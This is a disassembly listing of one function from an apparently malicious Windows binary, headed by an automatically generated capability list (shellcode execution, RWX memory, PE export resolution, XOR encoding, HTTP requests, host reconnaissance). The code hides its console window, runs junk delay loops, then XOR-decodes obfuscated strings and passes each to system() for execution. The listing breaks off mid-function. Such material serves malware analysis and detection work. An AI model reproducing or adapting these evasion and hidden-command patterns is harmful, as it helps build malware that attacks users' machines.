Function at 0x14007f020
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create http request
Create thread
Encode data using xor
Enumerate gui resources
Execute command
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get hostname
Get system information on windows
Hash data using fnv
Read data from internet
Read file via mapping
Receive data
Resolve function by parsing pe exports
Set console window title
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x29b0]
mov eax, 0x2ab0
call fcn.140099dc0
sub rsp, rax
mov rax, qword [0x1400b6040]
xor rax, rsp
mov qword [rbp + 0x29a0], rax
xor eax, eax
mov dword [rbp - 0x50], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x14007f084
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f096
sub rdx, 1
jne 0x14007f093
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f0a6
sub qword [rsp + 0x70], 1
jne 0x14007f080
xor r10d, r10d
mov dword [rsp + 0x60], r10d
nop dword [rax]
xor ebx, ebx
mov r11d, ebx
nop word [rax + rax]
lea r10d, [r11 + 5]
nop dword [rax]
nop dword [rax + rax]
add r10d, 4
cmp r10d, 0x11
jne 0x14007f1c7
lea r9d, [r10 - 7]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f119
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f0f7
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f103
jmp 0x14007f0f7
cmp ecx, 0xb
jl 0x14007f0f7
inc edx
cmp edx, 4
jl 0x14007f0f4
mov edx, 5
nop word [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f146
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f135
sub rdx, 1
jne 0x14007f130
sub r9, 1
jne 0x14007f0f2
lea r9d, [rdx + 0xa]
nop word [rax + rax]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f187
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f165
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f171
jmp 0x14007f165
cmp ecx, 0xb
jl 0x14007f165
inc edx
cmp edx, 4
jl 0x14007f162
mov edx, 5
nop dword [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f1b6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f1a5
sub rdx, 1
jne 0x14007f1a0
sub r9, 1
jne 0x14007f160
jmp 0x14007f0e0
cmp r10d, 0x1c
jl 0x14007f0e0
inc r11d
cmp r11d, 6
jl 0x14007f0d0
mov r10d, 5
nop dword [rax]
nop dword [rax + rax]
xor ebx, ebx
lea r9d, [rbx + 0xa]
nop word [rax + rax]
mov r8d, ebx
lea ecx, [r8 + 2]
inc ecx
cmp ecx, 7
jne 0x14007f226
mov eax, 0x4d
lea edx, [rax - 5]
cmp edx, 0xa
je 0x14007f207
mov eax, ebx
cmovne eax, edx
test eax, eax
jg 0x14007f213
jmp 0x14007f207
cmp ecx, 0xb
jl 0x14007f207
inc r8d
cmp r8d, 4
jl 0x14007f203
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f256
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f245
sub rdx, 1
jne 0x14007f240
sub r9, 1
jne 0x14007f200
sub r10, 1
jne 0x14007f1f0
lea r9d, [rdx + 0xa]
nop dword [rax]
mov r8d, ebx
lea edx, [r8 + 2]
inc edx
cmp edx, 7
jne 0x14007f296
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f277
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f283
jmp 0x14007f277
cmp edx, 0xb
jl 0x14007f277
inc r8d
cmp r8d, 4
jl 0x14007f273
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f2c6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f2b5
sub rdx, 1
jne 0x14007f2b0
sub r9, 1
jne 0x14007f270
mov ebx, dword [rsp + 0x60]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, 0xa
jl 0x14007f0c0
lea edx, [r9 + 0xa]
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 6
jl 0x14007f2f4
sub rdx, 1
jne 0x14007f2f0
mov edx, 0xa
mov r8d, edx
lea rcx, [rbp + 0x6a8]
call fcn.1400457b0
lea rcx, [rbp + 0x6a8]
call fcn.1400417f0
movups xmm0, xmmword [str.VNeOIQO__a]
movups xmmword [rbp + 0x2a8], xmm0
movsd xmm0, qword [0x1400aa4e8]
movsd qword [rbp + 0x2b8], xmm0
movzx eax, word [0x1400aa4f0]
mov word [rbp + 0x2c0], ax
cmp byte [0x1400aa4f1], 0
je 0x14007f3a3
xor eax, eax
mov r8d, eax
lea r9, [rbp + 0x2a8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8b6e9cad
imul r8d
add edx, r8d
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x78
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14007f370
lea rcx, [rbp + 0x2a8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x14007f3c4
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f3d6
sub rdx, 1
jne 0x14007f3d3
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f3e6
sub qword [rsp + 0x70], 1
jne 0x14007f3c0
mov dword [rsp + 0x60], eax
nop dword [rax]
xor ebx, ebx
mov r11d, ebx
nop word [rax + rax]
lea r10d, [r11 + 5]
nop dword [rax]
nop dword [rax + rax]
add r10d, 4
cmp r10d, 0x11
jne 0x14007f507
lea r9d, [r10 - 7]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f459
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f437
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f443
jmp 0x14007f437
cmp ecx, 0xb
jl 0x14007f437
inc edx
cmp edx, 4
jl 0x14007f434
mov edx, 5
nop word [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f486
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f475
sub rdx, 1
jne 0x14007f470
sub r9, 1
jne 0x14007f432
lea r9d, [rdx + 0xa]
nop word [rax + rax]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f4c7
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f4a5
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f4b1
jmp 0x14007f4a5
cmp ecx, 0xb
jl 0x14007f4a5
inc edx
cmp edx, 4
jl 0x14007f4a2
mov edx, 5
nop dword [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f4f6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f4e5
sub rdx, 1
jne 0x14007f4e0
sub r9, 1
jne 0x14007f4a0
jmp 0x14007f420
cmp r10d, 0x1c
jl 0x14007f420
inc r11d
cmp r11d, 6
jl 0x14007f410
mov r10d, 5
nop dword [rax]
nop dword [rax + rax]
xor ebx, ebx
lea r9d, [rbx + 0xa]
nop word [rax + rax]
mov r8d, ebx
lea ecx, [r8 + 2]
inc ecx
cmp ecx, 7
jne 0x14007f566
mov eax, 0x4d
lea edx, [rax - 5]
cmp edx, 0xa
je 0x14007f547
mov eax, ebx
cmovne eax, edx
test eax, eax
jg 0x14007f553
jmp 0x14007f547
cmp ecx, 0xb
jl 0x14007f547
inc r8d
cmp r8d, 4
jl 0x14007f543
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f596
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f585
sub rdx, 1
jne 0x14007f580
sub r9, 1
jne 0x14007f540
sub r10, 1
jne 0x14007f530
lea r9d, [rdx + 0xa]
nop dword [rax]
mov r8d, ebx
lea edx, [r8 + 2]
inc edx
cmp edx, 7
jne 0x14007f5d6
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f5b7
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f5c3
jmp 0x14007f5b7
cmp edx, 0xb
jl 0x14007f5b7
inc r8d
cmp r8d, 4
jl 0x14007f5b3
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f606
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f5f5
sub rdx, 1
jne 0x14007f5f0
sub r9, 1
jne 0x14007f5b0
mov ebx, dword [rsp + 0x60]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, 0xa
jl 0x14007f400
lea edx, [r9 + 0xa]
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 6
jl 0x14007f634
sub rdx, 1
jne 0x14007f630
mov edx, 0xa
mov r8d, edx
lea rcx, [rbp + 0x6c8]
call fcn.1400457b0
lea rcx, [rbp + 0x6c8]
call fcn.1400417f0
movups xmm0, xmmword [str.VNeOIQO_]
movups xmmword [rbp + 0x308], xmm0
movsd xmm0, qword [0x1400ab488]
movsd qword [rbp + 0x318], xmm0
mov eax, dword [0x1400ab490]
mov dword [rbp + 0x320], eax
movzx eax, word [0x1400ab494]
mov word [rbp + 0x324], ax
movzx eax, byte [0x1400ab496]
mov byte [rbp + 0x326], al
xor eax, eax
mov r8d, eax
lea r9, [rbp + 0x308]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8b6e9cad
imul r8d
add edx, r8d
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x78
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14007f6c0
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x14007f714
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f726
sub rdx, 1
jne 0x14007f723
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007f736
sub qword [rsp + 0x70], 1
jne 0x14007f710
mov dword [rsp + 0x60], eax
nop dword [rax]
xor ebx, ebx
mov r11d, ebx
nop word [rax + rax]
lea r10d, [r11 + 5]
nop dword [rax]
nop dword [rax + rax]
add r10d, 4
cmp r10d, 0x11
jne 0x14007f857
lea r9d, [r10 - 7]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f7a9
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f787
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f793
jmp 0x14007f787
cmp ecx, 0xb
jl 0x14007f787
inc edx
cmp edx, 4
jl 0x14007f784
mov edx, 5
nop word [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f7d6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f7c5
sub rdx, 1
jne 0x14007f7c0
sub r9, 1
jne 0x14007f782
lea r9d, [rdx + 0xa]
nop word [rax + rax]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007f817
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007f7f5
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007f801
jmp 0x14007f7f5
cmp ecx, 0xb
jl 0x14007f7f5
inc edx
cmp edx, 4
jl 0x14007f7f2
mov edx, 5
nop dword [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f846
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f835
sub rdx, 1
jne 0x14007f830
sub r9, 1
jne 0x14007f7f0
jmp 0x14007f770
cmp r10d, 0x1c
jl 0x14007f770
inc r11d
cmp r11d, 6
jl 0x14007f760
mov r10d, 5
nop dword [rax]
nop dword [rax + rax]
xor ebx, ebx
lea r9d, [rbx + 0xa]
nop word [rax + rax]
mov r8d, ebx
lea ecx, [r8 + 2]
inc ecx
cmp ecx, 7
jne 0x14007f8b6
mov eax, 0x4d
lea edx, [rax - 5]
cmp edx, 0xa
je 0x14007f897
mov eax, ebx
cmovne eax, edx
test eax, eax
jg 0x14007f8a3
jmp 0x14007f897
cmp ecx, 0xb
jl 0x14007f897
inc r8d
cmp r8d, 4
jl 0x14007f893
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f8e6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f8d5
sub rdx, 1
jne 0x14007f8d0
sub r9, 1
jne 0x14007f890
sub r10, 1
jne 0x14007f880
lea r9d, [rdx + 0xa]
nop dword [rax]
mov r8d, ebx
lea edx, [r8 + 2]
inc edx
cmp edx, 7
jne 0x14007f926
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f907
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f913
jmp 0x14007f907
cmp edx, 0xb
jl 0x14007f907
inc r8d
cmp r8d, 4
jl 0x14007f903
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007f956
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007f945
sub rdx, 1
jne 0x14007f940
sub r9, 1
jne 0x14007f900
mov ebx, dword [rsp + 0x60]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, 0xa
jl 0x14007f750
lea edx, [r9 + 0xa]
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 6
jl 0x14007f984
sub rdx, 1
jne 0x14007f980
mov edx, 0xa
mov r8d, edx
lea rcx, [rbp + 0x6e8]
call fcn.1400457b0
lea rcx, [rbp + 0x6e8]
call fcn.1400417f0
movups xmm0, xmmword [0x1400ab318]
movups xmmword [rbp + 0x12a0], xmm0
movups xmm1, xmmword [0x1400ab328]
movups xmmword [rbp + 0x12b0], xmm1
movzx eax, word [0x1400ab338]
mov word [rbp + 0x12c0], ax
xor eax, eax
mov r8d, eax
lea r9, [rbp + 0x12a0]
nop word [rax + rax]
mov eax, 0x8b6e9cad
imul r8d
add edx, r8d
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x78
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14007f9f0
lea rcx, [rbp + 0x12a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x14007fa44
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007fa56
sub rdx, 1
jne 0x14007fa53
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007fa66
sub qword [rsp + 0x70], 1
jne 0x14007fa40
mov dword [rsp + 0x60], eax
nop dword [rax]
xor ebx, ebx
mov r11d, ebx
nop word [rax + rax]
lea r10d, [r11 + 5]
nop dword [rax]
nop dword [rax + rax]
add r10d, 4
cmp r10d, 0x11
jne 0x14007fb87
lea r9d, [r10 - 7]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007fad9
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007fab7
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007fac3
jmp 0x14007fab7
cmp ecx, 0xb
jl 0x14007fab7
inc edx
cmp edx, 4
jl 0x14007fab4
mov edx, 5
nop word [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fb06
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007faf5
sub rdx, 1
jne 0x14007faf0
sub r9, 1
jne 0x14007fab2
lea r9d, [rdx + 0xa]
nop word [rax + rax]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007fb47
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007fb25
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007fb31
jmp 0x14007fb25
cmp ecx, 0xb
jl 0x14007fb25
inc edx
cmp edx, 4
jl 0x14007fb22
mov edx, 5
nop dword [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fb76
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fb65
sub rdx, 1
jne 0x14007fb60
sub r9, 1
jne 0x14007fb20
jmp 0x14007faa0
cmp r10d, 0x1c
jl 0x14007faa0
inc r11d
cmp r11d, 6
jl 0x14007fa90
mov r10d, 5
nop dword [rax]
nop dword [rax + rax]
xor ebx, ebx
lea r9d, [rbx + 0xa]
nop word [rax + rax]
mov r8d, ebx
lea ecx, [r8 + 2]
inc ecx
cmp ecx, 7
jne 0x14007fbe6
mov eax, 0x4d
lea edx, [rax - 5]
cmp edx, 0xa
je 0x14007fbc7
mov eax, ebx
cmovne eax, edx
test eax, eax
jg 0x14007fbd3
jmp 0x14007fbc7
cmp ecx, 0xb
jl 0x14007fbc7
inc r8d
cmp r8d, 4
jl 0x14007fbc3
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fc16
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fc05
sub rdx, 1
jne 0x14007fc00
sub r9, 1
jne 0x14007fbc0
sub r10, 1
jne 0x14007fbb0
lea r9d, [rdx + 0xa]
nop dword [rax]
mov r8d, ebx
lea edx, [r8 + 2]
inc edx
cmp edx, 7
jne 0x14007fc56
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fc37
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fc43
jmp 0x14007fc37
cmp edx, 0xb
jl 0x14007fc37
inc r8d
cmp r8d, 4
jl 0x14007fc33
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fc86
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fc75
sub rdx, 1
jne 0x14007fc70
sub r9, 1
jne 0x14007fc30
mov ebx, dword [rsp + 0x60]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, 0xa
jl 0x14007fa80
lea edx, [r9 + 0xa]
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 6
jl 0x14007fcb4
sub rdx, 1
jne 0x14007fcb0
mov edx, 0xa
mov r8d, edx
lea rcx, [rbp + 0x708]
call fcn.1400457b0
lea rcx, [rbp + 0x708]
call fcn.1400417f0
movups xmm0, xmmword [0x1400aaa20]
movups xmmword [rbp + 0x1278], xmm0
movups xmm1, xmmword [0x1400aaa30]
movups xmmword [rbp + 0x1288], xmm1
movzx eax, word [0x1400aaa40]
mov word [rbp + 0x1298], ax
xor eax, eax
mov r8d, eax
lea r9, [rbp + 0x1278]
nop word [rax + rax]
mov eax, 0x8b6e9cad
imul r8d
add edx, r8d
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x78
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14007fd20
lea rcx, [rbp + 0x1278]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x14007fd74
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007fd86
sub rdx, 1
jne 0x14007fd83
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x14007fd96
sub qword [rsp + 0x70], 1
jne 0x14007fd70
mov dword [rsp + 0x60], eax
nop dword [rax]
xor ebx, ebx
mov r11d, ebx
nop word [rax + rax]
lea r10d, [r11 + 5]
nop dword [rax]
nop dword [rax + rax]
add r10d, 4
cmp r10d, 0x11
jne 0x14007feb7
lea r9d, [r10 - 7]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007fe09
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007fde7
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007fdf3
jmp 0x14007fde7
cmp ecx, 0xb
jl 0x14007fde7
inc edx
cmp edx, 4
jl 0x14007fde4
mov edx, 5
nop word [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fe36
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fe25
sub rdx, 1
jne 0x14007fe20
sub r9, 1
jne 0x14007fde2
lea r9d, [rdx + 0xa]
nop word [rax + rax]
mov edx, ebx
lea ecx, [rdx + 2]
inc ecx
cmp ecx, 7
jne 0x14007fe77
mov eax, 0x4d
lea r8d, [rax - 5]
cmp r8d, 0xa
je 0x14007fe55
mov eax, ebx
cmovne eax, r8d
test eax, eax
jg 0x14007fe61
jmp 0x14007fe55
cmp ecx, 0xb
jl 0x14007fe55
inc edx
cmp edx, 4
jl 0x14007fe52
mov edx, 5
nop dword [rax + rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007fea6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007fe95
sub rdx, 1
jne 0x14007fe90
sub r9, 1
jne 0x14007fe50
jmp 0x14007fdd0
cmp r10d, 0x1c
jl 0x14007fdd0
inc r11d
cmp r11d, 6
jl 0x14007fdc0
mov r10d, 5
nop dword [rax]
nop dword [rax + rax]
xor ebx, ebx
lea r9d, [rbx + 0xa]
nop word [rax + rax]
mov r8d, ebx
lea ecx, [r8 + 2]
inc ecx
cmp ecx, 7
jne 0x14007ff16
mov eax, 0x4d
lea edx, [rax - 5]
cmp edx, 0xa
je 0x14007fef7
mov eax, ebx
cmovne eax, edx
test eax, eax
jg 0x14007ff03
jmp 0x14007fef7
cmp ecx, 0xb
jl 0x14007fef7
inc r8d
cmp r8d, 4
jl 0x14007fef3
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007ff46
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007ff35
sub rdx, 1
jne 0x14007ff30
sub r9, 1
jne 0x14007fef0
sub r10, 1
jne 0x14007fee0
lea r9d, [rdx + 0xa]
nop dword [rax]
mov r8d, ebx
lea edx, [r8 + 2]
inc edx
cmp edx, 7
jne 0x14007ff86
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007ff67
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007ff73
jmp 0x14007ff67
cmp edx, 0xb
jl 0x14007ff67
inc r8d
cmp r8d, 4
jl 0x14007ff63
mov edx, 5
nop dword [rax]
mov eax, 0x4d
lea ecx, [rax - 5]
cmp ecx, 0xa
je 0x14007ffb6
mov eax, ebx
cmovne eax, ecx
test eax, eax
jg 0x14007ffa5
sub rdx, 1
jne 0x14007ffa0
sub r9, 1
jne 0x14007ff60
mov ebx, dword [rsp + 0x60]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, 0xa
jl 0x14007fdb0
lea edx, [r9 + 0xa]
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 6
jl 0x14007ffe4
sub rdx, 1
jne 0x14007ffe0
mov edx, 0xa
mov r8d, edx
lea rcx, [rbp + 0x728]
call fcn.1400457b0
lea rcx, [rbp + 0x728]
call fcn.1400417f0
movups xmm0, xmmword [0x1400aa9c8]
movups xmmword [rbp + 0x1250], xmm0
movups xmm1, xmmword [0x1400aa9d8]
movups xmmword [rbp + 0x1260], xmm1
movzx eax, word [0x1400aa9e8]
mov word [rbp + 0x1270], ax
xor eax, eax
mov r8d, eax
lea r9, [rbp + 0x1250]
nop word [rax + rax]
mov eax, 0x8b6e9cad
imul r8d
add edx, r8d
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x78
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140080050
lea rcx, [rbp + 0x1250]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x70], 0xa
nop dword [rax]
xor eax, eax
mov ecx, eax
inc ecx
cmp ecx, 8
jl 0x1400800a4
mov edx, 4
xor r8d, r8d
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x1400800b6
sub rdx, 1
jne 0x1400800b3
mov ecx, r8d
inc ecx
cmp ecx, 8
jl 0x1400800c6